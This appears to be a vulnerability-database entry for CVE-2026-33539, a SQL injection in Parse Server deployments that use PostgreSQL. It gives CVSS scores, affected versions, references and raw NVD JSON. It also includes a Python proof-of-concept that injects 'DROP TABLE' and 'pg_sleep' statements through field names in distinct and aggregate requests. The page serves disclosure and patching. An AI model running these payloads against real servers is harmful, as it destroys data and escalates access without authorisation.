CVE-2026-33539

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.59 and 9.6.0-alpha.53, an attacker with master key access can execute arbitrary SQL statements on the PostgreSQL database by injecting SQL metacharacters into field name parameters of the aggregate $group pipeline stage or the distinct operation. This allows privilege escalation from Parse Server application-level administrator to PostgreSQL database-level access. Only Parse Server deployments using PostgreSQL are affected. MongoDB deployments are not affected. This issue has been patched in versions 8.6.59 and 9.6.0-alpha.53.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:* - VULNERABLE

Parse Server < 8.6.59

Parse Server < 9.6.0-alpha.53

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-33539: Parse Server PostgreSQL SQL Injection
# Requires: Master Key, Parse Server using PostgreSQL < 8.6.59

import requests
import json

# Configuration
TARGET_URL = "http://localhost:1337/parse"
APP_ID = "YOUR_APP_ID"
MASTER_KEY = "YOUR_MASTER_KEY"
CLASS_NAME = "TestTable"

headers = {
    "X-Parse-Application-Id": APP_ID,
    "X-Parse-Master-Key": MASTER_KEY,
    "Content-Type": "application/json"
}

# Vulnerable Payload 1: Distinct operation with SQL injection
# Injecting into the field name parameter
payload_distinct = {
    "where": {},
    "distinct": "fieldName); DROP TABLE test_table; --"
}

# Vulnerable Payload 2: Aggregate $group pipeline
# Injecting into the key within the group stage
payload_aggregate = {
    "pipeline": [
        {
            "group": {
                # Attempting to inject SQL via the key name
                "injected_key); SELECT pg_sleep(5); --": { "$sum": 1 }
            }
        }
    ]
}

try:
    # Sending Distinct Request
    print("[*] Attempting SQL Injection via distinct endpoint...")
    url_distinct = f"{TARGET_URL}/classes/{CLASS_NAME}"
    r_distinct = requests.get(url_distinct, headers=headers, params=payload_distinct)
    print(f"[+] Status Code: {r_distinct.status_code}")

    # Sending Aggregate Request
    print("[*] Attempting SQL Injection via aggregate endpoint...")
    url_aggregate = f"{TARGET_URL}/aggregate/{CLASS_NAME}"
    r_aggregate = requests.post(url_aggregate, headers=headers, data=json.dumps(payload_aggregate))
    print(f"[+] Status Code: {r_aggregate.status_code}")

    if r_distinct.status_code == 200 or r_aggregate.status_code == 200:
        print("[!] Request sent successfully. Check database for impact.")
    else:
        print("[-] Exploit failed or endpoint protected.")

except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33539
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33539
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33539/
[4] VulDB https://vuldb.com/cve/CVE-2026-33539
[5] https://github.com/parse-community/parse-server/commit/03249f9bf5b8783c8b848f84dab791ff0b761b8c
[6] https://github.com/parse-community/parse-server/commit/bdddab5f8b61a40cb8fc62dd895887bdd2f3838e
[7] https://github.com/parse-community/parse-server/pull/10272
[8] https://github.com/parse-community/parse-server/pull/10273
[9] https://github.com/parse-community/parse-server/security/advisories/GHSA-p2w6-rmh7-w8q3

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33539", "sourceIdentifier": "[email protected]", "published": "2026-03-24T19:16:54.853", "lastModified": "2026-03-25T21:18:00.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.59 and 9.6.0-alpha.53, an attacker with master key access can execute arbitrary SQL statements on the PostgreSQL database by injecting SQL metacharacters into field name parameters of the aggregate $group pipeline stage or the distinct operation. This allows privilege escalation from Parse Server application-level administrator to PostgreSQL database-level access. Only Parse Server deployments using PostgreSQL are affected. MongoDB deployments are not affected. This issue has been patched in versions 8.6.59 and 9.6.0-alpha.53."}, {"lang": "es", "value": "Parse Server es un backend de código abierto que puede ser desplegado en cualquier infraestructura que pueda ejecutar Node.js. Antes de las versiones 8.6.59 y 9.6.0-alpha.53, un atacante con acceso a la clave maestra puede ejecutar sentencias SQL arbitrarias en la base de datos PostgreSQL inyectando metacaracteres SQL en los parámetros de nombre de campo de la etapa de pipeline $group de agregación o la operación distinct. Esto permite la escalada de privilegios de administrador a nivel de aplicación de Parse Server a acceso a nivel de base de datos PostgreSQL. Solo las implementaciones de Parse Server que usan PostgreSQL se ven afectadas. Las implementaciones de MongoDB no se ven afectadas. Este problema ha sido parcheado en las versiones 8.6.59 y 9.6.0-alpha.53."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "8.6.59", "matchCriteriaId": "D8E27CF1-B8C1-4A71-A5D8-BE69BE487F6A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.6.0", "matchCriteriaId": "1BAC01F8-0899-482C-8D91-64671BF2859A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "BBED261F-CA1B-44BC-9C3A-37378590EFEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:*", "matchCriteriaId": "418338C9-6AEC-492C-ACA4-9B3C0AAE149C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:*", "matchCriteriaId": "808B6482-BF8E-407D-8462-E757657CC323"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha12:*:*:*:node.js:*:*", "matchCriteriaId": ... (truncated)